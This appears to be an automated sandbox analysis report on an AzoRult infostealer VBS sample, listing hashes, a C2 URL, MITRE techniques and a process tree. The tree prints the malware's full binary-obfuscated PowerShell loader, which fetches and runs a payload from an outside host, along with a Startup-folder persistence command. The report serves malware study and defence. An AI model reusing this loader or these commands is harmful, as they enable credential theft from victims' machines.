azorult | e93cc14c93709b38dc8d95fb58d70d1a8930576c7d16c64c3efbc4cc08d951ff

Analysis

max time kernel
4294183s
max time network
130s
platform
windows7_x64
resource
win7-20220310-en
submitted
21/03/2022, 08:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
980184286pdf.vbs
Size 2KB
Sample220321-kcf6qaadh8
SHA256 e93cc14c93709b38dc8d95fb58d70d1a8930576c7d16c64c3efbc4cc08d951ff
MD5 c1188d588fcfb8a8e95df788f8f95a30
SHA1 3c54462d17b9ce59064950da50e5dfe1ae60cc76
SHA512 56e3a7559238c1fabfc4d5de25e97e72bcd86151f940823b9064925ac6bf386526dac4bd34725e2566d3570d669d71b83cf9ac374633b835e460433e39d68cff
MD5 SHA1 SHA512

Score

10^/10

azorult collection infostealer spyware stealer trojan

Malware Config

Extracted

Family

azorult

http://185.29.8.100/Panel/index.php

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	1420	WScript.exe
6	1916	powershell.exe

Loads dropped DLL 16 IoCs

pid	Process
1808	aspnet_compiler.exe
1808	aspnet_compiler.exe
1808	aspnet_compiler.exe
1808	aspnet_compiler.exe
1808	aspnet_compiler.exe
1808	aspnet_compiler.exe
1808	aspnet_compiler.exe
1808	aspnet_compiler.exe
1808	aspnet_compiler.exe
1808	aspnet_compiler.exe
1808	aspnet_compiler.exe
1808	aspnet_compiler.exe
1808	aspnet_compiler.exe
1808	aspnet_compiler.exe
1808	aspnet_compiler.exe
1808	aspnet_compiler.exe

Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2932610838-281738825-1127631353-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2932610838-281738825-1127631353-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2932610838-281738825-1127631353-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	aspnet_compiler.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1916 set thread context of 1808	1916	powershell.exe	36

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	aspnet_compiler.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1788	timeout.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1916	powershell.exe
1808	aspnet_compiler.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
1668	cmd.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

description	pid	Process
Token: SeDebugPrivilege	1916	powershell.exe
Token: SeIncreaseQuotaPrivilege	1916	powershell.exe
Token: SeSecurityPrivilege	1916	powershell.exe
Token: SeTakeOwnershipPrivilege	1916	powershell.exe
Token: SeLoadDriverPrivilege	1916	powershell.exe
Token: SeSystemProfilePrivilege	1916	powershell.exe
Token: SeSystemtimePrivilege	1916	powershell.exe
Token: SeProfSingleProcessPrivilege	1916	powershell.exe
Token: SeIncBasePriorityPrivilege	1916	powershell.exe
Token: SeCreatePagefilePrivilege	1916	powershell.exe
Token: SeBackupPrivilege	1916	powershell.exe
Token: SeRestorePrivilege	1916	powershell.exe
Token: SeShutdownPrivilege	1916	powershell.exe
Token: SeDebugPrivilege	1916	powershell.exe
Token: SeSystemEnvironmentPrivilege	1916	powershell.exe
Token: SeRemoteShutdownPrivilege	1916	powershell.exe
Token: SeUndockPrivilege	1916	powershell.exe
Token: SeManageVolumePrivilege	1916	powershell.exe
Token: 33	1916	powershell.exe
Token: 34	1916	powershell.exe
Token: 35	1916	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1420 wrote to memory of 1916	1420	WScript.exe	29
PID 1420 wrote to memory of 1916	1420	WScript.exe	29
PID 1420 wrote to memory of 1916	1420	WScript.exe	29
PID 1420 wrote to memory of 1668	1420	WScript.exe	31
PID 1420 wrote to memory of 1668	1420	WScript.exe	31
PID 1420 wrote to memory of 1668	1420	WScript.exe	31
PID 1916 wrote to memory of 1808	1916	powershell.exe	36
PID 1916 wrote to memory of 1808	1916	powershell.exe	36
PID 1916 wrote to memory of 1808	1916	powershell.exe	36
PID 1916 wrote to memory of 1808	1916	powershell.exe	36
PID 1916 wrote to memory of 1808	1916	powershell.exe	36
PID 1916 wrote to memory of 1808	1916	powershell.exe	36
PID 1916 wrote to memory of 1808	1916	powershell.exe	36
PID 1916 wrote to memory of 1808	1916	powershell.exe	36
PID 1916 wrote to memory of 1808	1916	powershell.exe	36
PID 1916 wrote to memory of 1808	1916	powershell.exe	36
PID 1808 wrote to memory of 1196	1808	aspnet_compiler.exe	38
PID 1808 wrote to memory of 1196	1808	aspnet_compiler.exe	38
PID 1808 wrote to memory of 1196	1808	aspnet_compiler.exe	38
PID 1808 wrote to memory of 1196	1808	aspnet_compiler.exe	38
PID 1196 wrote to memory of 1788	1196	cmd.exe	40
PID 1196 wrote to memory of 1788	1196	cmd.exe	40
PID 1196 wrote to memory of 1788	1196	cmd.exe	40
PID 1196 wrote to memory of 1788	1196	cmd.exe	40

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2932610838-281738825-1127631353-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2932610838-281738825-1127631353-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\980184286pdf.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $t0='DE5'.replace('D','I').replace('5','x');sal g $t0;$gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,01100101,01100110,01100101,01110010,01100101,01101110,01100011,01100101,00100000,00111101,00100000,00100111,01010011,01101001,01101100,01100101,01101110,01110100,01101100,01111001,01000011,01101111,01101110,01110100,01101001,01101110,01110101,01100101,00100111,00111011,00100100,01110100,00110101,00110110,01100110,01100111,00100000,00111101,00100000,01011011,01000101,01101110,01110101,01101101,01011101,00111010,00111010,01010100,01101111,01001111,01100010,01101010,01100101,01100011,01110100,00101000,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,01010100,01111001,01110000,01100101,01011101,00101100,00100000,00110011,00110000,00110111,00110010,00101001,00111011,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01110010,01110110,01101001,01100011,01100101,01010000,01101111,01101001,01101110,01110100,01001101,01100001,01101110,01100001,01100111,01100101,01110010,01011101,00111010,00111010,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,00100000,00111101,00100000,00100100,01110100,00110101,00110110,01100110,01100111,00111011,01000001,01100100,01100100,00101101,01010100,01111001,01110000,01100101,00100000,00101101,01000001,01110011,01110011,01100101,01101101,01100010,01101100,01111001,01001110,01100001,01101101,01100101,00100000,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00111011,01100100,01101111,00100000,01111011,00100100,01110000,01101001,01101110,01100111,00100000,00111101,00100000,01110100,01100101,01110011,01110100,00101101,01100011,01101111,01101110,01101110,01100101,01100011,01110100,01101001,01101111,01101110,00100000,00101101,01100011,01101111,01101101,01110000,00100000,01100111,01101111,01101111,01100111,01101100,01100101,00101110,01100011,01101111,01101101,00100000,00101101,01100011,01101111,01110101,01101110,01110100,00100000,00110001,00100000,00101101,01010001,01110101,01101001,01100101,01110100,01111101,00100000,01110101,01101110,01110100,01101001,01101100,00100000,00101000,00100100,01110000,01101001,01101110,01100111,00101001,00111011,00100100,01110100,01110100,01111001,00111101,01100111,00101000,00100111,00101000,01001110,01100101,01110111,00101101,00100111,00101011,00100111,01001111,01100010,01101010,01100101,00100111,00101011,00100111,01100011,01110100,00100000,01001110,01100101,00100111,00101011,00100111,01110100,00101110,01010111,01100101,00100111,00101011,00100111,01100010,01000011,01101100,01101001,00100111,00101011,00100111,01100101,01101110,01110100,00101001,00100111,00101001,00111011,00100100,01101101,01110110,00111101,00100000,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01001001,01101110,01110100,01100101,01110010,01100001,01100011,01110100,01101001,01101111,01101110,01011101,00111010,00111010,01000011,01100001,01101100,01101100,01000010,01111001,01101110,01100001,01101101,01100101,00101000,00100100,01110100,01110100,01111001,00101100,00100111,01000100,01101111,01110111,01101110,00100111,00100000,00101011,00100000,00100111,01101100,01101111,01100001,01100100,00100111,00100000,00101011,00100000,00100111,01010011,01110100,01110010,00100111,00100000,00101011,00100000,00100111,01101001,01101110,01100111,00100111,00101100,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01000011,01100001,01101100,01101100,01010100,01111001,01110000,01100101,01011101,00111010,00111010,01001101,01100101,01110100,01101000,01101111,01100100,00101100,00100111,01101000,01110100,01110100,01110000,00100111,00100000,00101011,00100000,00100111,00111010,00101111,00101111,00111000,00110100,00101110,00110011,00111000,00101110,00110001,00110011,00110010,00101110,00110100,00110011,00101111,01110010,01101111,01110100,01101000,00101111,01110010,01101111,01110100,01101000,00110001,00101110,01101010,01110000,01100111,00100111,00101001,01111100,01100111) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };g([system.String]::Join('', $gf))
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1916
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - Loads dropped DLL
    - Accesses Microsoft Outlook profiles
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    - outlook_office_path
    - outlook_win_path
    PID:1808
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "aspnet_compiler.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1196
    - - C:\Windows\SysWOW64\timeout.exe
        
        C:\Windows\system32\timeout.exe 3
        5⤵
        Delays execution with timeout.exe
        
        PID:1788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c move "C:\Users\Admin\AppData\Local\Temp\980184286pdf.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
  2⤵
  - Suspicious behavior: RenamesItself
  PID:1668

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1808-61-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/1808-74-0x0000000075A31000-0x0000000075A33000-memory.dmp

Download

memory/1808-73-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/1808-71-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/1808-69-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/1808-67-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/1808-65-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/1808-63-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/1916-54-0x000007FEFC121000-0x000007FEFC123000-memory.dmp

Download

memory/1916-60-0x000000000252B000-0x000000000254A000-memory.dmp

Download

memory/1916-55-0x000007FEF3220000-0x000007FEF3D7D000-memory.dmp

Download

memory/1916-59-0x0000000002524000-0x0000000002527000-memory.dmp

Download

memory/1916-58-0x0000000002522000-0x0000000002524000-memory.dmp

Download

memory/1916-57-0x0000000002520000-0x0000000002522000-memory.dmp

Download

memory/1916-56-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

Download